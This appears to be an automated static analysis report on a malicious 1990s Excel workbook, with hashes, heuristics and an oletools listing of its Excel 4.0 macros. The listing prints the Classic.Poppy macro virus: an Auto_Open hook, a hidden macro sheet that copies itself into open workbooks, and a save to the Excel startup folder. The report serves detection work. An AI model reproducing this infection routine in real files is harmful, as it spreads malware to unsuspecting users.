Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b27233977aa0eeda…

MALICIOUS

Office (OLE)

53.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-10-03
MD5: c9eb89e6fc85141886d902380dabb5d0 SHA-1: 175c6093e3d670d4c18bde50b6f1a162b0684188 SHA-256: b27233977aa0eedad3b99da84392cedb6afb90314f5fa5556e3383d40ad728c5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains critical heuristic firings indicating the presence of Excel 4.0 (XLM) macros, specifically an Auto_Open entry, which is a known method for legacy Excel malware. The embedded artifacts and document body mention 'Classic.Poppy by VicodinES' and 'The Narkotic Network 1998', suggesting this is a known macro virus. The XLM macros are designed to infect other workbooks and likely execute a payload, as indicated by the 'RUN=5' API usage and the mention of 'Simple Payload'.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 15113 bytes
SHA-256: 9c72747d6a69a16d2fa4733232a3dd07c9961e50f95a62838f6ccfc434ed2228
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Ä‹ÔYSb
' 0085     22 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  •b h¥b
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  y˜îv
' 0085     26 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  ½eå]Ä~Ç~
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  00000pp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00m\x00m\x00m\x00m\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\t\t\t\t'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 12!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 12!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 12!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 12!C9 
' 0018    101 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00,\x93J\x04'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d  00000pp!C9 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 12!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 8!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 12!A26 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 16 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 17 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 12!C39 
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 12!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 35 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 36 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0b\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 8!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 7!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 8!H18 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 8!H14 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     34 LABEL : Cell Value, String Constant - Untitled len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\xb2\x05\x00\x00\x01\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d 8!H15 
' 0018     60 LABEL : Cell Value, String Constant -  Y W 8 0 0 0 û| R_  len=7 ptgFuncCEV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'[\xa8P\x8bWQ'
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\n\n\n\n'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Ä‹ÔYSb,I6,R~5C~1,""
'  Ä‹ÔYSb,J6,"",1.00000000000000000000
'  Ä‹ÔYSb,I7,R~6C~1,""
'  Ä‹ÔYSb,J7,"",2.00000000000000000000
'  Ä‹ÔYSb,I8,R~7C~1,""
'  Ä‹ÔYSb,J8,"",3.00000000000000000000
'  •b h¥b,B5,"",118000.00000000000000000000
'  •b h¥b,C5,"AVERAGE(B5,B6,B7)",""
'  •b h¥b,D5,"IF(B5=C5,55,IF(B5>C5,(C5-B5)/C5*200,(B5-C5)/C5*100))",""
'  •b h¥b,E5,"",55.00000000000000000000
'  •b h¥b,F5,"IF(B5=C5,55,D5+E5)",""
'  •b h¥b,B6,"",118690.00000000000000000000
'  •b h¥b,C6,C5,""
'  •b h¥b,D6,"IF(B6=C6,55,IF(B6>C6,(C6-B6)/C6*200,(B6-C6)/C6*100))",""
'  •b h¥b,E6,"",55.00000000000000000000
'  •b h¥b,F6,"IF(B6=C6,55,D6+E6)",""
'  •b h¥b,B7,"",118570.00000000000000000000
'  •b h¥b,C7,C6,""
'  •b h¥b,D7,"IF(B7=C7,55,IF(B7>C7,(C7-B7)/C7*200,(B7-C7)/C7*100))",""
'  •b h¥b,E7,"",55.00000000000000000000
'  •b h¥b,F7,"IF(B7=C7,55,D7+E7)",""
'  •b h¥b,B14,"",119888.00000000000000000000
'  y˜îv,B4,"",4355.00000000000000000000
'  y˜îv,C4,R~3C~1/3,""
'  y˜îv,D4,"IF(B4=C4,7,IF(B4>C4,(C4-B4)/C4*100,(B4-C4)/C4*50))",""
'  y˜îv,E4,"",7.00000000000000000000
'  y˜îv,F4,D4+E4,""
'  y˜îv,B5,"",4961.00000000000000000000
'  y˜îv,C5,R~3C~1/3,""
'  y˜îv,D5,"IF(B5=C5,7,IF(B5>C5,(C5-B5)/C5*100,(B5-C5)/C5*50))",""
'  y˜îv,E5,"",7.00000000000000000000
'  y˜îv,F5,D5+E5,""
'  y˜îv,B6,"",3834.00000000000000000000
'  y˜îv,C6,R~3C~1/3,""
'  y˜îv,D6,"IF(B6=C6,7,IF(B6>C6,(C6-B6)/C6*100,(B6-C6)/C6*50))",""
'  y˜îv,E6,"",7.00000000000000000000
'  y˜îv,F6,D6+E6,""
'  ½eå]Ä~Ç~,E4,R~3C~1,""
'  ½eå]Ä~Ç~,F4,E4/3,""
'  ½eå]Ä~Ç~,E5,R~4C~1,""
'  ½eå]Ä~Ç~,F5,E5/3,""
'  ½eå]Ä~Ç~,E6,R~5C~1,""
'  ½eå]Ä~Ç~,F6,E6/3,""
'  00000pp,C1,WORKBOOK.HIDE("00000ppy"),""
'  00000pp,A4,"",3.00000000000000000000
'  00000pp,C4,RUN(C18),""
'  00000pp,C5,"ERROR(TRUE,Continue)",""
'  00000pp,C6,IF(A4=3),""
'  00000pp,C7,RETURN(),""
'  00000pp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,C9,ERROR(FALSE),""
'  00000pp,C10,RUN(A21),""
'  00000pp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  00000pp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  00000pp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  00000pp,C14,RETURN(),""
'  00000pp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  00000pp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  00000pp,A17,RETURN(),""
'  00000pp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  00000pp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  00000pp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  00000pp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  00000pp,A22,"ERROR(TRUE,MakeIt)",""
'  00000pp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"00000ppy"))",""
'  00000pp,A23,IF(A21=0),""
'  00000pp,C23,RETURN(),""
'  00000pp,A24,RETURN(),""
'  00000pp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A26,NEW(1),""
'  00000pp,A27,WORKBOOK.INSERT(1),""
'  00000pp,C27,RUN(C19),""
'  00000pp,A28,WORKBOOK.INSERT(1),""
'  00000pp,C28,"ERROR(TRUE,Bust)",""
'  00000pp,A29,ACTIVATE.PREV(),""
'  00000pp,C29,IF(A4=3),""
'  00000pp,A30,RUN(C18),""
'  00000pp,C30,RETURN(),""
'  00000pp,A31,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,C31,ERROR(FALSE),""
'  00000pp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  00000pp,C32,ACTIVATE.PREV(),""
'  00000pp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  00000pp,C33,RUN(C19),""
'  00000pp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  00000pp,C34,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  00000pp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A36,WORKBOOK.PREV(),""
'  00000pp,C36,RETURN(),""
'  00000pp,A37,WORKBOOK.PREV(),""
'  00000pp,A38,WORKBOOK.PREV(),""
'  00000pp,A39,SAVE.AS(A3),""
'  00000pp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  00000pp,A40,FILE.CLOSE(),""
'  00000pp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  00000pp,A41,RETURN(),""
'  00000pp,C41,RETURN(),""